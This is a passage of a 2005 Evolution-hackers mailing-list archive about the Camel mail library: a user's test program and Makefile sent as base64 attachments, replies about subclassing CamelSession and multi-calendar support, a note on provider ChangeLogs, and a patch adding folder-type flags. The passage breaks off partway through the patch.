Content-Transfer-Encoding: base64 Content-Type: text/x-csrc; name=camel-test.c; charset=UTF-8 ICNpbmNsdWRlICJjYW1lbC9jYW1lbC5oIg0KICNpbmNsdWRlIDxnbGliLmg+DQogDQogY2hhciAq Z2V0X3Bhc3MoQ2FtZWxTZXNzaW9uICpzZXNzaW9uLCBDYW1lbFNlcnZpY2UgKnNlcnZpY2UsIGNv bnN0IGNoYXIgKmRvbWFpbiwgY29uc3QgY2hhciAqcHJvbXB0LCBjb25zdCBjaGFyICppdGVtLCBn dWludDMyIGZsYWdzLCBDYW1lbEV4Y2VwdGlvbiAqZXgpIHsNCiAJCXJldHVybigibXlwYXNzd29y ZCIpOw0KIH0NCiANCiBpbnQgbWFpbihnaW50IGFyZ2MsIGdjaGFyICphcmd2W10pIHsNCiAJQ2Ft ZWxTZXNzaW9uICpzZXNzaW9uOw0KIAlDYW1lbEV4Y2VwdGlvbiAqZXg7IA0KIAlDYW1lbFN0b3Jl ICpzdG9yZTsNCiAJQ2FtZWxGb2xkZXIgKmZvbGRlcjsNCiANCiAJZ190aHJlYWRfaW5pdChOVUxM KTsNCiANCiAJY2FtZWxfaW5pdCgiL3RtcCIsIEZBTFNFKTsNCiAJY2FtZWxfdHlwZV9pbml0KCk7 DQogDQogCWV4ID0gY2FtZWxfZXhjZXB0aW9uX25ldygpOw0KIA0KIAlzZXNzaW9uID0gQ0FNRUxf U0VTU0lPTiAoY2FtZWxfb2JqZWN0X25ldyAoQ0FNRUxfU0VTU0lPTl9UWVBFKSk7DQogDQogCSgo Q2FtZWxTZXNzaW9uQ2xhc3MgKikgc2Vzc2lvbiktPmdldF9wYXNzd29yZCA9IGdldF9wYXNzOw0K IA0KIAljYW1lbF9zZXNzaW9uX2NvbnN0cnVjdCAoc2Vzc2lvbiwgIi90bXAiKTsNCiANCiAJY2Ft ZWxfc2Vzc2lvbl9nZXRfc3RvcmUoc2Vzc2lvbiwgImltYXA6Ly9zaEBwbHV0by5saW51eGtvbnN1 bGVudC5kay8iLCBleCk7DQogDQogCWlmIChjYW1lbF9leGNlcHRpb25faXNfc2V0KGV4KSkNCiAJ CXByaW50ZigiJXMiLCBjYW1lbF9leGNlcHRpb25fZ2V0X2Rlc2NyaXB0aW9uKGV4KSk7DQogDQog CWZvbGRlciA9IGNhbWVsX3N0b3JlX2dldF9pbmJveChzdG9yZSwgZXgpOw0KIA0KIAlpZiAoY2Ft ZWxfZXhjZXB0aW9uX2lzX3NldChleCkpDQogCQlwcmludGYoIiVzIiwgY2FtZWxfZXhjZXB0aW9u X2dldF9kZXNjcmlwdGlvbihleCkpOw0KIH0NCg== --=-ZSLylqXrgm8DhfbMlX7n Content-Disposition: attachment; filename=Makefile Content-Transfer-Encoding: base64 Content-Type: text/x-makefile; name=Makefile; charset=UTF-8 YWxsOiBjYW1lbC10ZXN0DQoNCmNhbWVsLXRlc3Q6DQoJbGlidG9vbCAtLW1vZGU9bGluayBnY2Mg LWcgYHBrZy1jb25maWcgLS1jZmxhZ3MgLS1saWJzIGdsaWItMi4wIGNhbWVsLTIuMGAgY2FtZWwt dGVzdC5jIC1vIGNhbWVsLXRlc3QNCg== --=-ZSLylqXrgm8DhfbMlX7n-- --=-saN20RYOgRtBTRJJgUUD Content-Type: application/x-pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIKZDCCBS4w ggQWoAMCAQICBD/F1UYwDQYJKoZIhvcNAQEFBQAwMTELMAkGA1UEBhMCREsxDDAKBgNVBAoTA1RE QzEUMBIGA1UEAxMLVERDIE9DRVMgQ0EwHhcNMDQwOTIxMTUzNzU2WhcNMDYwOTIxMTYwNzU2WjB0 MQswCQYDVQQGEwJESzEpMCcGA1UEChMgSW5nZW4gb3JnYW5pc2F0b3Jpc2sgdGlsa255dG5pbmcx OjATBgNVBAMUDFP4cmVuIEhhbnNlbjAjBgNVBAUTHFBJRDo5MjA4LTIwMDItMi05NzYxMzU3OTAz MDMwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKa8yX6dwX1fG2lFQFeJsdnL1l6gK+Yh1ORs sGB603ClZ7gYPaWFq/JWHvyutgSozKvcU6+ZX8zeHpwV1z6Z4PGNAxjxleWK028VXi0gqKaM46yO iyUIuvLxvXBEA/w5wdvfO3aZBvgUzeTUV1yj0hCTsk+faWIBF7W7dS9w7lERAgMBAAGjggKNMIIC iTAOBgNVHQ8BAf8EBAMCA/gwKwYDVR0QBCQwIoAPMjAwNDA5MjExNTM3NTZagQ8yMDA2MDkyMTE2 MDc1NlowggE3BgNVHSAEggEuMIIBKjCCASYGCiqBUIEpAQEBAQEwggEWMC8GCCsGAQUFBwIBFiNo dHRwOi8vd3d3LmNlcnRpZmlrYXQuZGsvcmVwb3NpdG9yeTCB4gYIKwYBBQUHAgIwgdUwChYDVERD MAMCAQEagcZGb3IgYW52ZW5kZWxzZSBhZiBjZXJ0aWZpa2F0ZXQgZ+ZsZGVyIE9DRVMgdmlsa+Vy LCBDUFMgb2cgT0NFUyBDUCwgZGVyIGthbiBoZW50ZXMgZnJhIHd3dy5jZXJ0aWZpa2F0LmRrL3Jl cG9zaXRvcnkuIEJlbeZyaywgYXQgVERDIGVmdGVyIHZpbGvlcmVuZSBoYXIgZXQgYmVncuZuc2V0 IGFuc3ZhciBpZnQuIHByb2Zlc3Npb25lbGxlIHBhcnRlci4wFgYDVR0RBA8wDYELc2hAd2FybWEu ZGswgZAGA1UdHwSBiDCBhTBKoEigRqREMEIxCzAJBgNVBAYTAkRLMQwwCgYDVQQKEwNUREMxFDAS BgNVBAMTC1REQyBPQ0VTIENBMQ8wDQYDVQQDEwZDUkwzOTkwN6A1oDOGMWh0dHA6Ly9jcmwub2Nl cy5jZXJ0aWZpa2F0LmRrL29jZXMvMTA2OTkyOTc5OC5jcmwwHwYDVR0jBBgwFoAUYLWF7FZkfhIZ J2cdUBVLc647+RIwHQYDVR0OBBYEFMOPXueQvwX6721Zj2ILZpWustfFMAkGA1UdEwQCMAAwGQYJ KoZIhvZ9B0EABAwwChsEVjcuMAMCA6gwDQYJKoZIhvcNAQEFBQADggEBAA8bx42vFnZXR4OtWO5I +T7cf+CD4Z3yR2BNfze7Pp5HQfOZwhYLQIrdhuzY2kI7VyON2Ra+OSIpchQi1RvemFYm5Z+NvOnS mDmSMng8JGvNz/L3+9lMoxsTAPS++MK4UQ2PUgdyNd2xkOWGd7UfmdpDEu0Iizbp0YDc+x/aDnpg K913F3+ydpZdSAA8hFnqOAgTvm85cMIhIOXR7+ayTMVKBad7GOhKgVGb/0cfd2acjZqfa/QjEGYa KCsdKvWwcpNNtYIf+CEtKSdGbWp55cdh/5PefglW09aCKvOR0UUQacFcXbOpurelacW/qB2Wkazn aI+06jG/jt3y1f4RJl8wggUuMIIEFqADAgECAgQ/xdVGMA0GCSqGSIb3DQEBBQUAMDExCzAJBgNV BAYTAkRLMQwwCgYDVQQKEwNUREMxFDASBgNVBAMTC1REQyBPQ0VTIENBMB4XDTA0MDkyMTE1Mzc1 NloXDTA2MDkyMTE2MDc1NlowdDELMAkGA1UEBhMCREsxKTAnBgNVBAoTIEluZ2VuIG9yZ2FuaXNh dG9yaXNrIHRpbGtueXRuaW5nMTowEwYDVQQDFAxT+HJlbiBIYW5zZW4wIwYDVQQFExxQSUQ6OTIw OC0yMDAyLTItOTc2MTM1NzkwMzAzMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmvMl+ncF9 XxtpRUBXibHZy9ZeoCvmIdTkbLBgetNwpWe4GD2lhavyVh78rrYEqMyr3FOvmV/M3h6cFdc+meDx jQMY8ZXlitNvFV4tIKimjOOsjoslCLry8b1wRAP8OcHb3zt2mQb4FM3k1Fdco9IQk7JPn2liARe1 u3UvcO5REQIDAQABo4ICjTCCAokwDgYDVR0PAQH/BAQDAgP4MCsGA1UdEAQkMCKADzIwMDQwOTIx MTUzNzU2WoEPMjAwNjA5MjExNjA3NTZaMIIBNwYDVR0gBIIBLjCCASowggEmBgoqgVCBKQEBAQEB MIIBFjAvBggrBgEFBQcCARYjaHR0cDovL3d3dy5jZXJ0aWZpa2F0LmRrL3JlcG9zaXRvcnkwgeIG CCsGAQUFBwICMIHVMAoWA1REQzADAgEBGoHGRm9yIGFudmVuZGVsc2UgYWYgY2VydGlmaWthdGV0 IGfmbGRlciBPQ0VTIHZpbGvlciwgQ1BTIG9nIE9DRVMgQ1AsIGRlciBrYW4gaGVudGVzIGZyYSB3 d3cuY2VydGlmaWthdC5kay9yZXBvc2l0b3J5LiBCZW3mcmssIGF0IFREQyBlZnRlciB2aWxr5XJl bmUgaGFyIGV0IGJlZ3LmbnNldCBhbnN2YXIgaWZ0LiBwcm9mZXNzaW9uZWxsZSBwYXJ0ZXIuMBYG A1UdEQQPMA2BC3NoQHdhcm1hLmRrMIGQBgNVHR8EgYgwgYUwSqBIoEakRDBCMQswCQYDVQQGEwJE SzEMMAoGA1UEChMDVERDMRQwEgYDVQQDEwtUREMgT0NFUyBDQTEPMA0GA1UEAxMGQ1JMMzk5MDeg NaAzhjFodHRwOi8vY3JsLm9jZXMuY2VydGlmaWthdC5kay9vY2VzLzEwNjk5Mjk3OTguY3JsMB8G A1UdIwQYMBaAFGC1hexWZH4SGSdnHVAVS3OuO/kSMB0GA1UdDgQWBBTDj17nkL8F+u9tWY9iC2aV rrLXxTAJBgNVHRMEAjAAMBkGCSqGSIb2fQdBAAQMMAobBFY3LjADAgOoMA0GCSqGSIb3DQEBBQUA A4IBAQAPG8eNrxZ2V0eDrVjuSPk+3H/gg+Gd8kdgTX83uz6eR0HzmcIWC0CK3Ybs2NpCO1cjjdkW vjkiKXIUItUb3phWJuWfjbzp0pg5kjJ4PCRrzc/y9/vZTKMbEwD0vvjCuFENj1IHcjXdsZDlhne1 H5naQxLtCIs26dGA3Psf2g56YCvddxd/snaWXUgAPIRZ6jgIE75vOXDCISDl0e/mskzFSgWnexjo SoFRm/9HH3dmnI2an2v0IxBmGigrHSr1sHKTTbWCH/ghLSknRm1qeeXHYf+T3n4JVtPWgirzkdFF EGnBXF2zqbq3pWnFv6gdlpGs52iPtOoxv47d8tX+ESZfMYIB1TCCAdECAQEwOTAxMQswCQYDVQQG EwJESzEMMAoGA1UEChMDVERDMRQwEgYDVQQDEwtUREMgT0NFUyBDQQIEP8XVRjAJBgUrDgMCGgUA oIHzMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTA1MDIyODExNTcw MVowIwYJKoZIhvcNAQkEMRYEFANIUEyTm8D/VhGBs37gpLRKZ3SbMEgGCSsGAQQBgjcQBDE7MDkw MTELMAkGA1UEBhMCREsxDDAKBgNVBAoTA1REQzEUMBIGA1UEAxMLVERDIE9DRVMgQ0ECBD/F1UYw SgYLKoZIhvcNAQkQAgsxO6A5MDExCzAJBgNVBAYTAkRLMQwwCgYDVQQKEwNUREMxFDASBgNVBAMT C1REQyBPQ0VTIENBAgQ/xdVGMA0GCSqGSIb3DQEBAQUABIGADumArsE7Rr3Fv6s1vNo3rQpN++Ld 5+1TEZ5F7BD7h8dmqThB2RoMvfV5w4F/h1xGAGpVt19tjzDdad1URkTuSXOLj9kdrjrl9LUbgHbe cTSfd21StAXUKQM8zu940aewotWSqgvL1yuQu14l6yFHpYV5TKNYguIHv2PyB5X6bPUAAAAAAAA= --=-saN20RYOgRtBTRJJgUUD-- From fejj@novell.com Mon Feb 28 10:53:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8BB8D124195; Mon, 28 Feb 2005 10:53:29 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id C0EC41240A9 for ; Mon, 28 Feb 2005 10:53:17 -0500 (EST) Received: (qmail 6211 invoked from network); 28 Feb 2005 15:53:16 -0000 Received: from localhost (HELO ?10.200.0.103?) (fejj@127.0.0.1) by localhost with SMTP; 28 Feb 2005 15:53:16 -0000 Subject: Re: [Evolution-hackers] Problems with camel From: Jeffrey Stedfast To: =?ISO-8859-1?Q?S=F8ren?= Hansen Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1109591821.4468.19.camel@localhost.localdomain> References: <1109591821.4468.19.camel@localhost.localdomain> Content-Type: text/plain; charset=ISO-8859-1 Date: Mon, 28 Feb 2005 10:49:52 -0500 Message-Id: <1109605792.17964.0.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-25.5 required=5.0 tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: you need to subclass CamelSession, it's just an abstract class. Jeff On Mon, 2005-02-28 at 12:57 +0100, Søren Hansen wrote: > Hi! > > I'm having a bit of a problem using camel. I'm trying to simply make a > small app that can open a camel url and read a message from a message > store, but I can't even figure out how to make a connection without it > segfaulting on me.. > > I've attaced the code and a makefile. > > Any help? > > From ak-47@gmx.net Mon Feb 28 15:14:15 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 904CA1248F5; Mon, 28 Feb 2005 15:14:14 -0500 (EST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 7D8F1124964 for ; Mon, 28 Feb 2005 15:13:50 -0500 (EST) Received: (qmail invoked by alias); 28 Feb 2005 20:13:47 -0000 Received: from unknown (EHLO h2101.dialup.callax-network.net) (81.209.204.33) by mail.gmx.net (mp024) with SMTP; 28 Feb 2005 21:13:47 +0100 X-Authenticated: #726810 Subject: Re: [Evolution-hackers] multi-calendaring and multi-sorting From: Andre Klapper To: evolution-hackers@lists.ximian.com Cc: Ali Shameli In-Reply-To: <20050224142518.59691.qmail@web14306.mail.yahoo.com> References: <20050224142518.59691.qmail@web14306.mail.yahoo.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-ZaEvUArvkI5FQEOuy+xy" Date: Mon, 28 Feb 2005 21:13:40 +0100 Message-Id: <1109621620.4900.43.camel@embrace.local> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-24.4 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,FROM_ENDS_IN_NUMS,IN_REP_TO, PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-ZaEvUArvkI5FQEOuy+xy Content-Type: text/plain Content-Transfer-Encoding: quoted-printable hi ali, On Thu, 2005-02-24 at 06:25 -0800, Ali Shameli wrote: > Persian localization in evolution. >=20 > We have been working on Evolution code for months. > Our goal is to add multi calendaring and multi > language sorting support to Evolution. i don't know what exactly you mean by multi sorting, could you please explain that more explicitly? > We wrote a lightweight library to use multi > calendaring in systems like Evolution. > First patch for adding multi calendaring support will > be sent in near feature. please send it to this list so it can be discussed/some hackers can comment on it, that would help you to not code into the wrong direction. :-) > There were two suitable solution to add multi language > sorting: >=20 > * hacking the evolution code, like addressbook module > in order to display characters ( Non-latin) > in correct order. >=20 > * using a multi language sort library (which allows > us to switch between different languages) for your interest, there have already been a few people (perhaps you also could contact them to get some information on their impressions) that have asked this question, please look into the archives: http://lists.ximian.com/archives/public/evolution-hackers/2004-May/003800.h= tml http://lists.ximian.com/archives/public/evolution-hackers/2004-May/003876.h= tml http://lists.ximian.com/archives/public/evolution-hackers/2004-July/004053.= html http://lists.ximian.com/archives/public/evolution-hackers/2004-August/00417= 6.html in the last link rodrigo says that the code needs to get integrated into libical, evolution's support library for dealing with calendar objects and their dates, and that there are plans to do a replacement for libical - so what's the status on this, ximian guys? good luck (i'd also be happy to see more date systems than the julian/gregorian calendar supported better in evolution), andre --=20 mailto:ak-47@gmx.net | failed! http://www.iomc.de --=-ZaEvUArvkI5FQEOuy+xy Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCI3t0UZw3dUr5LoARApUYAJ9Nkjan6sKFIbjLO5D9wznH/JX+bACeM2+T gn/Go3SVCXPxA+/VvpbDCdk= =jEcL -----END PGP SIGNATURE----- --=-ZaEvUArvkI5FQEOuy+xy-- From notzed@ximian.com Mon Jan 31 19:43:00 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4A46412519C; Mon, 31 Jan 2005 19:43:00 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id B0E791248A9 for ; Mon, 31 Jan 2005 19:42:48 -0500 (EST) Received: (qmail 18531 invoked from network); 1 Feb 2005 00:42:46 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 1 Feb 2005 00:42:46 -0000 From: Not Zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-CBAS87CD8ACT122ulXh2" Date: Tue, 01 Feb 2005 08:37:59 +0800 Message-Id: <1107218279.14609.8.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: Yes, hits=8.6 required=5.0 tests=HTML_20_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] camel provider changelogs Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-CBAS87CD8ACT122ulXh2 Content-Type: text/plain Content-Transfer-Encoding: 7bit Please note the camel providers now have their own ChangeLog's. So use them, not the main camel ChangeLog. e.g. 2005-01-31 Parthasarathi Susarla * providers/groupwise/camel-groupwise-folder.c shouldn't be done anymore. If you're using emacs to generate the changelog entries - and you should be - it will automatically find the correct one. --=-CBAS87CD8ACT122ulXh2 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit

Please note the camel providers now have their own ChangeLog's.  So use them, not the main camel ChangeLog.

e.g.
2005-01-31  Parthasarathi Susarla <sparthasarathi@novell.com>

* providers/groupwise/camel-groupwise-folder.c

shouldn't be done anymore.

If you're using emacs to generate the changelog entries - and you should be - it will automatically find the correct one.

--=-CBAS87CD8ACT122ulXh2-- From notzed@ximian.com Tue Feb 1 02:47:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 1ED081249C5; Tue, 1 Feb 2005 02:47:24 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7BD3A124BB8 for ; Tue, 1 Feb 2005 02:47:12 -0500 (EST) Received: (qmail 18771 invoked from network); 1 Feb 2005 07:47:10 -0000 Received: from localhost (HELO ?192.168.0.106?) (notzed@127.0.0.1) by localhost with SMTP; 1 Feb 2005 07:47:10 -0000 From: not zed To: evolution-hackers@lists.ximian.com Content-Type: multipart/mixed; boundary="=-4t98At4iJZwK/v5fPuZs" Date: Tue, 01 Feb 2005 15:48:00 +0800 Message-Id: <1107244080.12004.5.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-0.9 required=5.0 tests=BAYES_30,PATCH_UNIFIED_DIFF,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] camel folderinfo type changes Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-4t98At4iJZwK/v5fPuZs Content-Type: text/plain Content-Transfer-Encoding: 7bit FYI I've added a 3-bit bitfield to the CamelFolderInfo.flags field, so that providers can specify certain types of folders. This is used primarily to give the folder the right icon, and also for some sorting priorities. This removes the hard-coded hacks of comparing translated folder names - so in some cases the icons may revert. "bummer", they were iconised wrong to start with if they do. It is up to the providers to specify these values, the mailer hard-codes it for the "local folders", since only it applies any meaning to the various folders. I fixed maildir and imap providers, imap4 will need its own fixing, as will groupwise/exchange. Patches attached to outline the changes for those interested/needing to know. PS means you need to update eds and evo to rebuild too --=-4t98At4iJZwK/v5fPuZs Content-Disposition: attachment; filename=folder-hint-eds.diff Content-Type: text/x-patch; name=folder-hint-eds.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit ? camel/c.diff ? camel/camel-mime-tables.c ? camel/gpg ? camel/trace ? camel/providers/m.diff ? camel/tests/folder/test11 ? camel/tests/message/test4 ? camel/tests/mime-filter/test1 Index: camel/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/ChangeLog,v retrieving revision 1.2421 diff -u -p -r1.2421 ChangeLog --- camel/ChangeLog 1 Feb 2005 05:57:15 -0000 1.2421 +++ camel/ChangeLog 1 Feb 2005 07:39:50 -0000 @@ -1,5 +1,11 @@ 2005-02-01 Not Zed + * camel-store.c (camel_store_get_folder_info): set the folder type + hint. + + * camel-store.h: add a bitfield for a folder-type hint. used to + indicate inbox/trash/etc (mainly for gui icons). + ** See bug #38791 and bug #36142. * camel-gpg-context.c (gpg_ctx_op_step): use poll rather than Index: camel/camel-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/camel-store.c,v retrieving revision 1.158 diff -u -p -r1.158 camel-store.c --- camel/camel-store.c 1 Feb 2005 00:47:43 -0000 1.158 +++ camel/camel-store.c 1 Feb 2005 07:39:51 -0000 @@ -663,7 +663,7 @@ get_folder_info (CamelStore *store, cons } static void -add_special_info (CamelStore *store, CamelFolderInfo *info, const char *name, const char *translated, gboolean unread_count) +add_special_info (CamelStore *store, CamelFolderInfo *info, const char *name, const char *translated, gboolean unread_count, guint32 flags) { CamelFolderInfo *fi, *vinfo, *parent; char *uri, *path; @@ -711,7 +711,7 @@ add_special_info (CamelStore *store, Cam } /* Fill in the new fields */ - vinfo->flags |= CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH; + vinfo->flags |= flags; vinfo->full_name = g_strdup (name); vinfo->name = g_strdup (translated); vinfo->uri = uri; @@ -775,9 +775,9 @@ camel_store_get_folder_info(CamelStore * if (info && (top == NULL || *top == '\0') && (flags & CAMEL_STORE_FOLDER_INFO_NO_VIRTUAL) == 0) { if (info->uri && (store->flags & CAMEL_STORE_VTRASH)) - add_special_info (store, info, CAMEL_VTRASH_NAME, _("Trash"), FALSE); + add_special_info (store, info, CAMEL_VTRASH_NAME, _("Trash"), FALSE, CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH|CAMEL_FOLDER_TYPE_TRASH); if (info->uri && (store->flags & CAMEL_STORE_VJUNK)) - add_special_info (store, info, CAMEL_VJUNK_NAME, _("Junk"), TRUE); + add_special_info (store, info, CAMEL_VJUNK_NAME, _("Junk"), TRUE, CAMEL_FOLDER_VIRTUAL|CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_VTRASH|CAMEL_FOLDER_TYPE_JUNK); } if (camel_debug_start("store:folder_info")) { Index: camel/camel-store.h =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/camel-store.h,v retrieving revision 1.71 diff -u -p -r1.71 camel-store.h --- camel/camel-store.h 11 Jan 2005 06:12:45 -0000 1.71 +++ camel/camel-store.h 1 Feb 2005 07:39:51 -0000 @@ -74,8 +74,26 @@ typedef struct _CamelFolderInfo { #define CAMEL_FOLDER_SYSTEM (1<<6) /* a virtual folder that can't be copied to, and can only be moved to if in an existing folder */ #define CAMEL_FOLDER_VTRASH (1<<7) +/* a shared folder i'm accessing */ #define CAMEL_FOLDER_SHARED_TO_ME (1<<8) +/* a folder that i'm sharing */ #define CAMEL_FOLDER_SHARED_BY_ME (1<<9) + +/* use 3 bits as a hint for a folder type */ +#define CAMEL_FOLDER_TYPE_MASK (7 << 10) +#define CAMEL_FOLDER_TYPE_BIT (10) +/* a normal folder */ +#define CAMEL_FOLDER_TYPE_NORMAL (0 << 10) +/* an inbox folder */ +#define CAMEL_FOLDER_TYPE_INBOX (1 << 10) +/* an outbox folder */ +#define CAMEL_FOLDER_TYPE_OUTBOX (2 << 10) +/* a rubbish folder */ +#define CAMEL_FOLDER_TYPE_TRASH (3 << 10) +/* a spam folder */ +#define CAMEL_FOLDER_TYPE_JUNK (4 << 10) + +/* next bit is 1<<13 */ /* Structure of rename event's event_data */ typedef struct _CamelRenameInfo { Index: camel/providers/imap/ChangeLog =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/imap/ChangeLog,v retrieving revision 1.3 diff -u -p -r1.3 ChangeLog --- camel/providers/imap/ChangeLog 31 Jan 2005 03:48:16 -0000 1.3 +++ camel/providers/imap/ChangeLog 1 Feb 2005 07:39:51 -0000 @@ -1,3 +1,9 @@ +2005-02-01 Not Zed + + * camel-imap-store.c (parse_list_response_as_folder_info): set the + folder-type of inbox to inbox & use the right flags field for + noinferiors hack. + 2005-01-31 Not Zed ** See bug #69757. Index: camel/providers/imap/camel-imap-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/imap/camel-imap-store.c,v retrieving revision 1.312 diff -u -p -r1.312 camel-imap-store.c --- camel/providers/imap/camel-imap-store.c 31 Jan 2005 03:48:16 -0000 1.312 +++ camel/providers/imap/camel-imap-store.c 1 Feb 2005 07:39:52 -0000 @@ -2401,12 +2401,12 @@ parse_list_response_as_folder_info (Came fi->name = g_strdup(camel_store_info_name(imap_store->summary, si)); fi->full_name = g_strdup(camel_store_info_path(imap_store->summary, si)); if (!g_ascii_strcasecmp(fi->full_name, "inbox")) - flags |= CAMEL_FOLDER_SYSTEM; + flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_TYPE_INBOX; /* HACK: some servers report noinferiors for all folders (uw-imapd) We just translate this into nochildren, and let the imap layer enforce it. See create folder */ if (flags & CAMEL_FOLDER_NOINFERIORS) - flags = (fi->flags & ~CAMEL_FOLDER_NOINFERIORS) | CAMEL_FOLDER_NOCHILDREN; + flags = (flags & ~CAMEL_FOLDER_NOINFERIORS) | CAMEL_FOLDER_NOCHILDREN; fi->flags = flags; url = camel_url_new (imap_store->base_url, NULL); Index: camel/providers/local/ChangeLog =================================================================== RCS file: camel/providers/local/ChangeLog diff -N camel/providers/local/ChangeLog --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ camel/providers/local/ChangeLog 1 Feb 2005 07:39:52 -0000 @@ -0,0 +1,8 @@ + +2005-02-01 Not Zed + + * camel-maildir-store.c (get_folder_info): set the + folder type of inbox properly. + + * started new chnagelog. + Index: camel/providers/local/camel-maildir-store.c =================================================================== RCS file: /cvs/gnome/evolution-data-server/camel/providers/local/camel-maildir-store.c,v retrieving revision 1.42 diff -u -p -r1.42 camel-maildir-store.c --- camel/providers/local/camel-maildir-store.c 17 Jan 2005 09:01:54 -0000 1.42 +++ camel/providers/local/camel-maildir-store.c 1 Feb 2005 07:39:52 -0000 @@ -519,10 +519,10 @@ get_folder_info (CamelStore *store, cons scan = scan->next; } fi->flags &= ~CAMEL_FOLDER_CHILDREN; - fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS; + fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS|CAMEL_FOLDER_TYPE_INBOX; } else if (!strcmp(top, ".")) { fi = scan_fi(store, flags, url, ".", _("Inbox")); - fi->flags |= CAMEL_FOLDER_SYSTEM|CAMEL_FOLDER_NOCHILDREN|CAMEL_FOLDER_NOINFERIORS; + fi->flags |= 